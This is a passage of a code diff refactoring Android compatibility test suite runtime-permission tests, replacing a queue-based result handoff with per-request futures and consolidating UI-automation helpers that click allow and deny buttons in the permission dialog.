 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class BasePermissionActivity extends Activity {
     private static final long OPERATION_TIMEOUT_MILLIS = 5000;
 
-    private final SynchronousQueue<Result> mResult = new SynchronousQueue<>();
+    /**
+     * Static to ensure correct behavior if {@link Activity} instance was recreated before
+     * result delivery.
+     *
+     * requestCode -> Future<Result>
+     */
+    private static Map<Integer, CompletableFuture<Result>> sPendingResults =
+            new ConcurrentHashMap<>();
+    private static AtomicInteger sNextRequestCode = new AtomicInteger(0);
+
     private final CountDownLatch mOnCreateSync = new CountDownLatch(1);
 
     public static class Result {
-        public final int requestCode;
         public final String[] permissions;
         public final int[] grantResults;
 
-        public Result(int requestCode, String[] permissions, int[] grantResults) {
-            this.requestCode = requestCode;
+        public Result(String[] permissions, int[] grantResults) {
             this.permissions = permissions;
             this.grantResults = grantResults;
         }
@@ -53,14 +63,18 @@
         mOnCreateSync.countDown();
     }
 
+    public CompletableFuture<Result> requestPermissions(String[] permissions) {
+        int requestCode = sNextRequestCode.getAndIncrement();
+        CompletableFuture<Result> future = new CompletableFuture<>();
+        sPendingResults.put(requestCode, future);
+        requestPermissions(permissions, requestCode);
+        return future;
+    }
+
     @Override
     public void onRequestPermissionsResult(int requestCode, String[] permissions,
             int[] grantResults) {
-        try {
-            mResult.offer(new Result(requestCode, permissions, grantResults), 5, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
+        sPendingResults.get(requestCode).complete(new Result(permissions, grantResults));
     }
 
     public void waitForOnCreate() {
@@ -70,12 +84,4 @@
             throw new RuntimeException(e);
         }
     }
-
-    public Result getResult() {
-        try {
-            return mResult.poll(OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 7861088..c2689ee 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -16,11 +16,19 @@
 
 package com.android.cts.usepermission;
 
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
+
 import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertTrue;
 
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
 import android.Manifest;
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -38,9 +46,12 @@
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
+import android.text.Spanned;
+import android.text.style.ClickableSpan;
 import android.util.ArrayMap;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
@@ -51,7 +62,12 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ExceptionUtils;
+import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.compatibility.common.util.UiDumpUtils;
+
 import junit.framework.Assert;
+import junit.framework.TestCase;
 
 import org.junit.Before;
 import org.junit.runner.RunWith;
@@ -59,6 +75,8 @@
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 import java.util.regex.Pattern;
 
@@ -83,20 +101,16 @@
     }
 
     protected static void assertPermissionRequestResult(BasePermissionActivity.Result result,
-            int requestCode, String[] permissions, boolean[] granted) {
-        assertEquals(requestCode, result.requestCode);
+            String[] permissions, boolean[] granted) {
         for (int i = 0; i < permissions.length; i++) {
             assertEquals(permissions[i], result.permissions[i]);
-            assertEquals(granted[i] ? PackageManager.PERMISSION_GRANTED
+            assertEquals(granted[i]
+                    ? PackageManager.PERMISSION_GRANTED
                     : PackageManager.PERMISSION_DENIED, result.grantResults[i]);
 
         }
     }
 
-    protected static UiDevice getUiDevice() {
-        return UiDevice.getInstance(getInstrumentation());
-    }
-
     protected static Activity launchActivity(String packageName,
             Class<?> clazz, Bundle extras) {
         Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -269,74 +283,96 @@
     }
 
     protected BasePermissionActivity.Result requestPermissions(
-            String[] permissions, int requestCode, Class<?> clazz, Runnable postRequestAction)
+            String[] permissions, ThrowingRunnable postRequestAction)
             throws Exception {
-        // Start an activity
-        BasePermissionActivity activity = (BasePermissionActivity) launchActivity(
-                getInstrumentation().getTargetContext().getPackageName(), clazz, null);
+        return ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+            // Start an activity
+            BasePermissionActivity activity = (BasePermissionActivity) launchActivity(
+                    getInstrumentation().getTargetContext().getPackageName(),
+                    BasePermissionActivity.class, null);
 
-        activity.waitForOnCreate();
+            activity.waitForOnCreate();
 
-        // Request the permissions
-        activity.requestPermissions(permissions, requestCode);
+            // Request the permissions
+            CompletableFuture<BasePermissionActivity.Result> futureResult =
+                    activity.requestPermissions(permissions);
 
-        // Define a more conservative idle criteria
-        getInstrumentation().getUiAutomation().waitForIdle(
-                IDLE_TIMEOUT_MILLIS, GLOBAL_TIMEOUT_MILLIS);
+            // Define a more conservative idle criteria
+            getInstrumentation().getUiAutomation().waitForIdle(
+                    IDLE_TIMEOUT_MILLIS, GLOBAL_TIMEOUT_MILLIS);
 
-        // Perform the post-request action
-        if (postRequestAction != null) {
-            postRequestAction.run();
-        }
+            // Perform the post-request action
+            if (postRequestAction != null) {
+                postRequestAction.run();
+            }
 
-        BasePermissionActivity.Result result = activity.getResult();
-        activity.finish();
-        return result;
+            BasePermissionActivity.Result result =
+                    futureResult.get(GLOBAL_TIMEOUT_MILLIS, MILLISECONDS);
+            activity.finish();
+            return result;
+        });
     }
 
     protected void clickAllowButton() throws Exception {
-        scrollToBottomIfWatch();
-        waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_allow_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+        click("com.android.permissioncontroller:id/permission_allow_button");
     }
 
-    protected void clickAllowAlwaysButton() throws Exception {
-        waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_allow_always_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+    protected void clickSettingsAllowAlwaysFromGrantDialog() throws Exception {
+        clickSettingsLink();
+        getUiDevice().waitForIdle();
+        click("com.android.permissioncontroller:id/allow_radio_button");
+        getUiDevice().waitForIdle();
+        getUiDevice().pressBack();
     }
 
     protected void clickAllowForegroundButton() throws Exception {
-        waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_allow_foreground_only_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+        click("com.android.permissioncontroller:id/permission_allow_foreground_only_button");
     }
 
     protected void clickDenyButton() throws Exception {
-        scrollToBottomIfWatch();
-        waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_deny_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+        click("com.android.permissioncontroller:id/permission_deny_button");
     }
 
     protected void clickDenyAndDontAskAgainButton() throws Exception {
-        waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+        click("com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button");
     }
 
     protected void clickDontAskAgainButton() throws Exception {
-        scrollToBottomIfWatch();
+        click("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button");
+    }
+
+    protected void clickNoUpgradeButton() throws Exception {
+        click("com.android.permissioncontroller:id/permission_no_upgrade_button");
+    }
+
+    protected void clickNoUpgradeAndDontAskAgainButton() throws Exception {
+        click("com.android.permissioncontroller:id/permission_no_upgrade_and_dont_ask_again_button");
+    }
+
+    protected void clickSettingsDenyFromGrantDialog() throws Exception {
+        clickSettingsLink();
+        getUiDevice().waitForIdle();
+        click("com.android.permissioncontroller:id/deny_radio_button");
+        getUiDevice().waitForIdle();
+        getUiDevice().pressBack();
+    }
+
+    protected void clickSettingsLink() {
+        List<AccessibilityNodeInfo> infos = getInstrumentation().getUiAutomation()
+                .getRootInActiveWindow().findAccessibilityNodeInfosByViewId(
+                        "com.android.permissioncontroller:id/detail_message");
+        AccessibilityNodeInfo info = infos.get(0);
+        Spanned spanned = (Spanned) info.getText();
+        ClickableSpan[] clickableSpans = ((Spanned) info.getText())
+                .getSpans(0, spanned.length(), ClickableSpan.class);
+        ClickableSpan clickableSpan = clickableSpans[0];
+        assertTrue(info.isVisibleToUser());
+        clickableSpan.onClick(null);
+    }
+
+    private void click(String resourceName) throws TimeoutException, UiObjectNotFoundException {
         waitForIdle();
-        getUiDevice().wait(Until.findObject(By.res(
-                "com.android.permissioncontroller:id/permission_deny_dont_ask_again_button")),
-                GLOBAL_TIMEOUT_MILLIS).click();
+        waitFindObject(By.res(resourceName)).click();
     }
 
     protected void grantPermission(String permission) throws Exception {
@@ -355,124 +391,111 @@
         setPermissionGrantState(permissions, false, legacyApp);
     }
 
-    private void scrollToBottomIfWatch() throws Exception {
-        if (mWatch) {
-            getUiDevice().wait(Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
-            UiScrollable scrollable =
-                    new UiScrollable(new UiSelector().className(ScrollView.class));
-            if (scrollable.exists()) {
-                scrollable.flingToEnd(10);
-            }
+    private void scrollToBottom() throws Exception {
+        waitFindObject(By.clazz(ScrollView.class));
+        UiScrollable scrollable =
+                new UiScrollable(new UiSelector().className(ScrollView.class));
+        scrollable.setSwipeDeadZonePercentage(0.25);
+        if (scrollable.exists()) {
+            scrollable.flingToEnd(10);
         }
     }
 
     private void setPermissionGrantState(String[] permissions, boolean granted,
             boolean legacyApp) throws Exception {
-        getUiDevice().pressBack();
-        waitForIdle();
-        getUiDevice().pressBack();
-        waitForIdle();
-        getUiDevice().pressBack();
-        waitForIdle();
-
-        if (isTv()) {
-            getUiDevice().pressHome();
+        ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+            getUiDevice().pressBack();
             waitForIdle();
-        }
+            getUiDevice().pressBack();
+            waitForIdle();
+            getUiDevice().pressBack();
+            waitForIdle();
 
-        // Open the app details settings
-        Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.setData(Uri.parse("package:" + mContext.getPackageName()));
-        startActivity(intent);
-
-        waitForIdle();
-
-        // Open the permissions UI
-        String label = mContext.getResources().getString(R.string.Permissions);
-        AccessibilityNodeInfo permLabelView = getNodeTimed(() -> findByText(label), true);
-        Assert.assertNotNull("Permissions label should be present", permLabelView);
-
-        AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
-
-        click(permItemView);
-
-        waitForIdle();
-
-        for (String permission : permissions) {
-            // Find the permission screen
-            String permissionLabel = getPermissionLabel(permission);
-
-            UiObject2 permissionView = null;
-            long start = System.currentTimeMillis();
-            while (permissionView == null && start + RETRY_TIMEOUT > System.currentTimeMillis()) {
-                permissionView = getUiDevice().wait(Until.findObject(By.text(permissionLabel)),
-                        IDLE_TIMEOUT_MILLIS);
-
-                if (permissionView == null) {
-                    getUiDevice().findObject(By.scrollable(true))
-                            .scroll(Direction.DOWN, 1);
-                }
-            }
-
-            if (!isTv()) {
-                permissionView.click();
+            if (isTv()) {
+                getUiDevice().pressHome();
                 waitForIdle();
             }
 
-            String denyLabel = mContext.getResources().getString(R.string.Deny);
+            // Open the app details settings
+            Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
+            intent.addCategory(Intent.CATEGORY_DEFAULT);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setData(Uri.parse("package:" + mContext.getPackageName()));
+            startActivity(intent);
 
-            final boolean wasGranted = isTv() ? false : !getUiDevice().wait(
-                Until.findObject(By.text(denyLabel)), GLOBAL_TIMEOUT_MILLIS).isChecked();
-            // TV does not use checked state to represent granted state.
-            if (granted != wasGranted || isTv()) {
-                // Toggle the permission
+            waitForIdle();
 
-                if (isTv()) {
-                    // no Allow/Deny labels on TV
-                    permissionView.click();
-                } else if (granted) {
-                    String allowLabel = mContext.getResources().getString(R.string.Allow);
-                    getUiDevice().findObject(By.text(allowLabel)).click();
-                } else {
-                    getUiDevice().findObject(By.text(denyLabel)).click();
+            // Open the permissions UI
+            String label = mContext.getResources().getString(R.string.Permissions);
+            AccessibilityNodeInfo permLabelView = getNodeTimed(() -> findByText(label), true);
+            Assert.assertNotNull("Permissions label should be present", permLabelView);
+
+            AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
+
+            click(permItemView);
+
+            waitForIdle();
+
+            for (String permission : permissions) {
+                // Find the permission screen
+                String permissionLabel = getPermissionLabel(permission);
+
+                if (!isTv()) {
+                    waitFindObject(By.text(permissionLabel)).click();
+                    waitForIdle();
                 }
-                waitForIdle();
 
-                if (wasGranted && legacyApp) {
-                    scrollToBottomIfWatch();
-                    Context context = getInstrumentation().getContext();
-                    String packageName = context.getPackageManager()
-                            .getPermissionControllerPackageName();
-                    String resIdName = "com.android.permissioncontroller"
-                            + ":string/grant_dialog_button_deny_anyway";
-                    Resources resources = context
-                            .createPackageContext(packageName, 0).getResources();
-                    final int confirmResId = resources.getIdentifier(resIdName, null, null);
-                    String confirmTitle = CaseMap.toUpper().apply(
-                            resources.getConfiguration().getLocales().get(0),
-                            resources.getString(confirmResId));
-                    getUiDevice().wait(Until.findObject(
-                            byTextStartsWithCaseInsensitive(confirmTitle)),
-                            GLOBAL_TIMEOUT_MILLIS).click();
+                final boolean wasGranted = isTv() ? false : !waitFindObject(byText(R.string.Deny)).isChecked();
+                // TV does not use checked state to represent granted state.
+                if (granted != wasGranted || isTv()) {
+                    // Toggle the permission
 
+                    if (isTv()) {
+                        waitFindObject(By.text(permissionLabel)).click();
+                    } else if (granted) {
+                        waitFindObject(byText(R.string.Allow)).click();
+                    } else {
+                        waitFindObject(byText(R.string.Deny)).click();
+                    }
+                    waitForIdle();
+
+                    if (wasGranted && legacyApp) {
+                        scrollToBottom();
+                        Context context = getInstrumentation().getContext();
+                        String packageName = context.getPackageManager()
+                                .getPermissionControllerPackageName();
+                        String resIdName = "com.android.permissioncontroller"
+                                + ":string/grant_dialog_button_deny_anyway";
+                        Resources resources = context
+                                .createPackageContext(packageName, 0).getResources();
+                        final int confirmResId = resources.getIdentifier(resIdName, null, null);
+                        String confirmTitle = resources.getString(confirmResId);
+
+                        waitFindObject(byTextStartsWithCaseInsensitive(confirmTitle))
+                                .click();
+                        waitForIdle();
+                    }
+                }
+
+                if (!isTv()) {
+                    getUiDevice().pressBack();
                     waitForIdle();
                 }
             }
 
-            if (!isTv()) {
-                getUiDevice().pressBack();
-                waitForIdle();
-            }
-        }
-
-        getUiDevice().pressBack();
-        waitForIdle();
-        getUiDevice().pressBack();
-        waitForIdle();
+            getUiDevice().pressBack();
+            waitForIdle();
+            getUiDevice().pressBack();
+            waitForIdle();
+        });
     }
 
+    private BySelector byText(int stringId) {
+        return By.text(mContext.getResources().getString(stringId));
+    }
+
+
+
     private BySelector byTextStartsWithCaseInsensitive(String prefix) {
         return By.text(Pattern.compile(String.format("(?i)^%s.*$", Pattern.quote(prefix))));
     }
@@ -618,12 +641,14 @@
     }
 
     private static void click(AccessibilityNodeInfo node) throws Exception {
-        getInstrumentation().getUiAutomation().executeAndWaitForEvent(
-                () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
-                (AccessibilityEvent event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
-                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
-                GLOBAL_TIMEOUT_MILLIS);
+        ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+            getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+                    () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+                    (AccessibilityEvent event) -> event.getEventType()
+                            == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                            || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
+                    GLOBAL_TIMEOUT_MILLIS);
+        });
     }
 
     private static AccessibilityNodeInfo findCollectionItem(AccessibilityNodeInfo current)
@@ -675,4 +700,21 @@
         return getInstrumentation().getContext().getPackageManager()
                 .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
     }
+
+    protected static void assertPermissionState(String perm, int expectedState) {
+        Context context = getInstrumentation().getTargetContext();
+        int permState = context.checkSelfPermission(perm);
+        assertEquals("Package " + context.getPackageName() + " has " + perm + " "
+                        + permissionGrantStateToString(permState) + " but expected "
+                        + permissionGrantStateToString(expectedState),
+                expectedState, permState);
+    }
+
+    protected static String permissionGrantStateToString(int state) {
+        switch (state) {
+            case PackageManager.PERMISSION_GRANTED: return "GRANTED";
+            case PackageManager.PERMISSION_DENIED: return "DENIED";
+            default: throw new IllegalArgumentException("Unknown permission state: " + state);
+        }
+    }
  }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index 9482df0..3dde0fa 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.usepermission;
 
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
 import static junit.framework.Assert.assertEquals;
 
 import static org.junit.Assert.fail;
@@ -26,7 +27,6 @@
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
-import android.os.Build;
 import android.provider.CalendarContract;
 
 import androidx.test.InstrumentationRegistry;
@@ -41,7 +41,6 @@
  * Runtime permission behavior tests for apps targeting API 23
  */
 public class UsePermissionTest23 extends BasePermissionsTest {
-    private static final int REQUEST_CODE_PERMISSIONS = 42;
 
     private final Context mContext = getInstrumentation().getContext();
 
@@ -105,21 +104,13 @@
         }
 
         // Go through normal grant flow
-        BasePermissionActivity.Result result = requestPermissions(new String[] {
+        BasePermissionActivity.Result result = requestPermissions(new String[]{
                 Manifest.permission.READ_CALENDAR,
-                Manifest.permission.WRITE_CALENDAR},
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+                Manifest.permission.WRITE_CALENDAR}, () -> {
+            clickAllowButton();
+            getUiDevice().waitForIdle();
+        });
 
-        assertEquals(REQUEST_CODE_PERMISSIONS, result.requestCode);
         assertEquals(Manifest.permission.READ_CALENDAR, result.permissions[0]);
         assertEquals(Manifest.permission.WRITE_CALENDAR, result.permissions[1]);
         assertEquals(PackageManager.PERMISSION_GRANTED, result.grantResults[0]);
@@ -147,21 +138,13 @@
         String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
 
         // request only one permission from the 'contacts' permission group
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            clickAllowButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {true});
+        assertPermissionRequestResult(result, permissions, new boolean[] {true});
 
         // Make sure no undeclared as used permissions are granted
         assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
@@ -181,21 +164,13 @@
         // request only one permission from the 'SMS' permission group at runtime,
         // but two from this group are <uses-permission> in the manifest
         // request only one permission from the 'contacts' permission group
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            clickAllowButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {true});
+        assertPermissionRequestResult(result, permissions, new boolean[] {true});
 
         // We should now have been granted both of the permissions from this group.
         assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -211,21 +186,13 @@
         String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
 
         // Request the permission and cancel the request
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickDenyButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+            clickDenyButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false});
     }
 
     @Test
@@ -237,29 +204,20 @@
         String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
 
         // Request the permission and allow it
-        BasePermissionActivity.Result firstResult = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+            clickAllowButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is granted
-        assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {true});
+        assertPermissionRequestResult(firstResult, permissions, new boolean[] {true});
 
         // Request the permission and do nothing
-        BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
-                Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 1,
-                BasePermissionActivity.class, null);
+        BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+                Manifest.permission.WRITE_CONTACTS}, null);
 
         // Expect the permission is granted
-        assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
-                permissions, new boolean[] {true});
+        assertPermissionRequestResult(secondResult, permissions, new boolean[] {true});
     }
 
     @Test
@@ -271,45 +229,30 @@
         String[] permissions = new String[] {Manifest.permission.WRITE_CONTACTS};
 
         // Request the permission and deny it
-        BasePermissionActivity.Result firstResult = requestPermissions(
-                permissions, REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        clickDenyButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+            clickDenyButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(firstResult, permissions, new boolean[] {false});
 
         // Request the permission and choose don't ask again
-        BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
-                        Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 1,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        denyWithPrejudice();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+                Manifest.permission.WRITE_CONTACTS}, () -> {
+            denyWithPrejudice();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(secondResult, permissions, new boolean[] {false});
 
         // Request the permission and do nothing
-        BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
-                        Manifest.permission.WRITE_CONTACTS}, REQUEST_CODE_PERMISSIONS + 2,
-                BasePermissionActivity.class, null);
+        BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
+                Manifest.permission.WRITE_CONTACTS}, null);
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS + 2,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(thirdResult, permissions, new boolean[] {false});
     }
 
     @Test
@@ -347,36 +290,23 @@
         String[] permissions = new String[] {Manifest.permission.READ_CALENDAR};
 
         // Request the permission and deny it
-        BasePermissionActivity.Result firstResult = requestPermissions(
-                permissions, REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        clickDenyButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result firstResult = requestPermissions(permissions, () -> {
+            clickDenyButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(firstResult, permissions, new boolean[] {false});
 
         // Request the permission and choose don't ask again
-        BasePermissionActivity.Result secondResult = requestPermissions(new String[] {
-                        Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS + 1,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        denyWithPrejudice();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result secondResult = requestPermissions(new String[]{
+                Manifest.permission.READ_CALENDAR}, () -> {
+            denyWithPrejudice();
+            getUiDevice().waitForIdle();
+        });
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(secondResult, permissions, new boolean[] {false});
 
         // Clear the denial with prejudice
         grantPermission(Manifest.permission.READ_CALENDAR);
@@ -392,20 +322,15 @@
                 .checkSelfPermission(Manifest.permission.READ_CALENDAR));
 
         // Request the permission and allow it
-        BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
-                        Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS + 2,
-                BasePermissionActivity.class, () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
+        BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
+                Manifest.permission.READ_CALENDAR}, () -> {
+            clickAllowButton();
+            getUiDevice().waitForIdle();
+        });
 
         // Make sure the permission is granted
-        assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS + 2,
-                new String[] {Manifest.permission.READ_CALENDAR}, new boolean[] {true});
+        assertPermissionRequestResult(thirdResult, new String[] {Manifest.permission.READ_CALENDAR},
+                new boolean[] {true});
     }
 
     @Test
@@ -417,12 +342,10 @@
         String[] permissions = new String[] {Manifest.permission.BIND_PRINT_SERVICE};
 
         // Request the permission and do nothing
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, null);
+        BasePermissionActivity.Result result = requestPermissions(permissions, null);
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false});
     }
 
     @Test
@@ -434,12 +357,10 @@
         String[] permissions = new String[] {"permission.does.not.exist"};
 
         // Request the permission and do nothing
-        BasePermissionActivity.Result result = requestPermissions(permissions,
-                REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, null);
+        BasePermissionActivity.Result result = requestPermissions(permissions, null);
 
         // Expect the permission is not granted
-        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
-                permissions, new boolean[] {false});
+        assertPermissionRequestResult(result, permissions, new boolean[] {false});
     }
 
     @Test
@@ -456,8 +377,7 @@
         };
